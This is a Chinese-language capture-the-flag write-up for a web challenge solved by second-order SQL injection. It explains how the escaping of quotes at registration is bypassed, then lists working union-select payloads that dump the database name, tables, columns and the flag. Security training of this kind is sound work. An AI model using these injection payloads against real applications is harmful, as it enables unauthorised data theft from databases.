打开题目页面，是一个登陆界面
先进行注册，尝试使用SQL注入看看会返回什么
跳转到登陆界面，我们用刚才注册的登录
显示的界面如下
在这个页面输入SQL注入语句，发现将单引号转义为了\，其他关键字并没有过滤
查看给出的源码
发现给出了数据库名
以及注入点在username，且有单引号，判断为字符型注入
二次注入知识点
二次注入是指攻击者将恶意数据存储在数据库或其他存储介质中，当应用程序再次从存储介质中读取并使用这些数据时，没有进行适当的验证和过滤，导致恶意数据被执行，从而引发安全漏洞。通常会对关键字如单引号进行转义
攻击原理
攻击者通过某种方式，如在用户注册、评论、文件上传等功能模块中，将包含恶意代码或特殊字符的数据输入到应用程序中。应用程序没有对输入数据进行严格的验证和过滤，直接将其存储到数据库或其他存储位置。
当应用程序在后续的业务逻辑中，从存储介质中读取之前存储的用户输入数据，并在未进行充分安全检查的情况下，将其用于 SQL 查询、命令执行、模板渲染等操作，导致恶意数据被解析和执行，从而实现攻击者的目的，如获取敏感数据、篡改数据、执行系统命令等。
用户修改个人信息时，攻击者可在用户名、邮箱等字段中注入恶意 SQL 语句。若系统在更新或查询用户信息时未正确处理，就可能触发二次注入。
攻击者在发表评论时插入恶意脚本，当其他用户查看评论或系统对评论进行处理时，可能执行恶意脚本。
攻击者上传包含恶意代码的文件，系统存储后，若在后续处理文件内容时未做安全检测，可能导致恶意代码执行。
接下来进行二次注入
注册时在用户名处用输入恶意的SQL语句，进行爆破、查询等
在登陆中，输入同样的恶意语句，在这个过程中会将我们输入的语句和数据库对比，在
查询数据库中的用户名对比过程中，就会执行输入的恶意SQL语句
爆出数据库名
1' and 1=2 union select database() #
用户名处的语句最后的#将后面的语句注释了，故密码处可以随便简单输入
登录界面使用同样的语句
爆出了数据库名：ctftraining
爆出表名
1' and 1=2 union select group_concat(table_name) from information_schema.tables where table_schema='ctftraining' #
爆出了表名flag,news,users
猜测flag在flag表中
爆出字段
1' union select group_concat(column_name) from information_schema.columns where table_name='flag'#
爆出字段为flag
爆出字段内容
1' union select group_concat(flag) from flag#
最后得到flag
